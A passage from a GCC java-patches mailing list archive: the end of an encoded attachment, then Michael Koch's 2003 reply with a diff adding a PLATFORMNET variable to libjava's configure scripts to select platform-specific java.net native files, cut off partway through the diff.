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 --Boundary-00=_W3hd+2LaEzYiUpm-- From java-patches-return-6509-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Mon Mar 17 19:57:27 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 7106 invoked by alias); 17 Mar 2003 19:57:27 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 6997 invoked from network); 17 Mar 2003 19:57:25 -0000 Received: from unknown (HELO mail2.ewetel.de) (212.6.122.18) by sources.redhat.com with SMTP; 17 Mar 2003 19:57:25 -0000 Received: from idefix.konqueror.de (dynadsl-080-228-74-005.ewetel.net [80.228.74.5]) by mail2.ewetel.de (8.12.1/8.12.1) with ESMTP id h2HJvE8G024403; Mon, 17 Mar 2003 20:57:14 +0100 (MET) Received: from asterix.konqueror.de ([192.168.1.3]) by idefix.konqueror.de with esmtp (Exim 3.35 #1 (Debian)) id 18v0iP-0002Ad-00; Mon, 17 Mar 2003 20:56:09 +0100 From: Michael Koch To: tromey@redhat.com, gnustuff@thisiscool.com Subject: Re: RFC: Moving native code in java.net into architecture dependant files - updated patch Date: Mon, 17 Mar 2003 20:58:18 +0100 User-Agent: KMail/1.5 Cc: java-patches@gcc.gnu.org References: <2ZATOMLXRTPD08553C765OMLKJHB9ZY.3e73ef4f@p733> <877kax6gmu.fsf@fleche.redhat.com> In-Reply-To: <877kax6gmu.fsf@fleche.redhat.com> MIME-Version: 1.0 Content-Type: Multipart/Mixed; boundary="Boundary-00=_ajid+mgass5P+4G" Message-Id: <200303172058.18462.konqueror@gmx.de> X-CheckCompat: OK --Boundary-00=_ajid+mgass5P+4G Content-Type: Text/Plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Content-Description: clearsigned data Content-Disposition: inline =2D----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Am Montag, 17. M=E4rz 2003 18:35 schrieb Tom Tromey: > >>>>> "Mohan" =3D=3D Mohan Embar writes: > > Mohan> What if instead of natInetAddressEcos.cc (for example), you > had Mohan> natInetAddressNoNet.cc and made another variable called > Mohan> NET_PLATFORM which factored in not only PLATFORM, but also > Mohan> whether enable_java_net was "no"? > > This seems basically reasonable. It seems to me that if the ecos > java.net port does nothing, then we don't need > natInetAddressEcos.cc at all -- we can just set NET_PLATFORM > appropriately for that port. Here an updated patch. What do you think ? Michael =2D --=20 Homepage: http://www.worldforge.org/ =2D----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iD8DBQE+dijaWSOgCCdjSDsRAieGAJ91lNUtAnhICGcNW6ZCdOQ9ZmILKgCeIxlg dmesHkAgpuIWRUMuxSA5NDw=3D =3D2tgD =2D----END PGP SIGNATURE----- --Boundary-00=_ajid+mgass5P+4G Content-Type: text/x-diff; charset="iso-8859-1"; name="arch.diff" Content-Transfer-Encoding: 7bit Content-Disposition: attachment; filename="arch.diff" Index: ChangeLog =================================================================== RCS file: /cvs/gcc/gcc/libjava/ChangeLog,v retrieving revision 1.1784 diff -u -r1.1784 ChangeLog --- ChangeLog 17 Mar 2003 16:40:29 -0000 1.1784 +++ ChangeLog 17 Mar 2003 19:55:09 -0000 @@ -1,5 +1,23 @@ 2003-03-17 Michael Koch + * configure.in: Create links to architecture dependent files, + introduced PLATFORMNET variable (set to NoNet for newlib usage). + * configure: Regenerated. + * java/net/natInetAddressNoNet.cc, + java/net/natInetAddressPosix.cc, + java/net/natInetAddressWin32.cc, + java/net/natNetworkInterfaceNoNet.cc, + java/net/natNetworkInterfacePosix.cc, + java/net/natNetworkInterfaceWin32.cc, + java/net/natPlainDatagramSocketImplNoNet.cc, + java/net/natPlainDatagramSocketImplPosix.cc, + java/net/natPlainDatagramSocketImplWin32.cc, + java/net/natPlainSocketImplNoNet.cc, + java/net/natPlainSocketImplPosix.cc, + java/net/natPlainSocketImplWin32.cc: New files. + +2003-03-17 Michael Koch + * java/awt/ScrollPaneAdjustable.java: Compile fixes. Index: configure.in =================================================================== RCS file: /cvs/gcc/gcc/libjava/configure.in,v retrieving revision 1.153 diff -u -r1.153 configure.in --- configure.in 12 Mar 2003 21:34:21 -0000 1.153 +++ configure.in 17 Mar 2003 19:55:09 -0000 @@ -224,12 +224,14 @@ no) case "$host" in *mingw*) PLATFORM=Win32 + PLATFORMNET=Win32 PLATFORMOBJS=win32.lo PLATFORMH=win32.h CHECK_FOR_BROKEN_MINGW_LD ;; *) PLATFORM=Posix + PLATFORMNET=Posix PLATFORMOBJS=posix.lo PLATFORMH=posix.h ;; @@ -237,6 +239,7 @@ ;; *) PLATFORM=Ecos + PLATFORMNET=NoNet AC_DEFINE(ECOS) PLATFORMOBJS=posix.lo PLATFORMH=posix.h @@ -269,6 +272,14 @@ AC_LINK_FILES(java/lang/${PLATFORM}Process.java, java/lang/ConcreteProcess.java) AC_LINK_FILES(java/lang/nat${PLATFORM}Process.cc, java/lang/natConcreteProcess.cc) +dnl Likewise for natInetAddress.cc, natNetworkInterface.cc, natPlainSocketImpl.cc +dnl and natPlainDatagramSocketImpl.cc +test -d java/net || mkdir java/net +AC_LINK_FILES(java/net/natInetAddress${PLATFORMNET}.cc, java/lang/natInetAddress.cc) +AC_LINK_FILES(java/net/natNetworkInterface${PLATFORMNET}.cc, java/lang/natNetworkInterface.cc) +AC_LINK_FILES(java/net/natPlainSocketImpl${PLATFORMNET}.cc, java/lang/natPlainSocketImpl.cc) +AC_LINK_FILES(java/net/natPlainDatagramSocketImpl${PLATFORMNET}.cc, java/lang/natPlainDatagramSocketImpl.cc) + case "${host}" in *mingw*) SYSTEMSPEC="-lgdi32 -lwsock32 -lws2_32" @@ -554,6 +565,7 @@ GCJ="${target_alias}-gcj" fi NATIVE=no + PLATFORMNET=NoNet else AC_CHECK_FUNCS(strerror ioctl select fstat open fsync sleep opendir) AC_CHECK_FUNCS(gmtime_r localtime_r readdir_r getpwuid_r getcwd) Index: configure =================================================================== RCS file: /cvs/gcc/gcc/libjava/configure,v retrieving revision 1.171 diff -u -r1.171 configure --- configure 12 Mar 2003 21:34:20 -0000 1.171 +++ configure 17 Mar 2003 19:55:13 -0000 @@ -2976,6 +2976,7 @@ no) case "$host" in *mingw*) PLATFORM=Win32 + PLATFORMNET=Win32 PLATFORMOBJS=win32.lo PLATFORMH=win32.h @@ -3005,6 +3006,7 @@ ;; *) PLATFORM=Posix + PLATFORMNET=Posix PLATFORMOBJS=posix.lo PLATFORMH=posix.h ;; @@ -3012,6 +3014,7 @@ ;; *) PLATFORM=Ecos + PLATFORMNET=NoNet cat >> confdefs.h <<\EOF #define ECOS 1 EOF @@ -3206,6 +3209,12 @@ +test -d java/net || mkdir java/net + + + + + case "${host}" in *mingw*) SYSTEMSPEC="-lgdi32 -lwsock32 -lws2_32" @@ -4395,6 +4404,7 @@ GCJ="${target_alias}-gcj" fi NATIVE=no + PLATFORMNET=NoNet else for ac_func in strerror ioctl select fstat open fsync sleep opendir do @@ -9125,8 +9135,8 @@ EOF cat >> $CONFIG_STATUS <> $CONFIG_STATUS <<\EOF Index: java/net/natInetAddressNoNet.cc =================================================================== RCS file: java/net/natInetAddressNoNet.cc diff -N java/net/natInetAddressNoNet.cc --- /dev/null 1 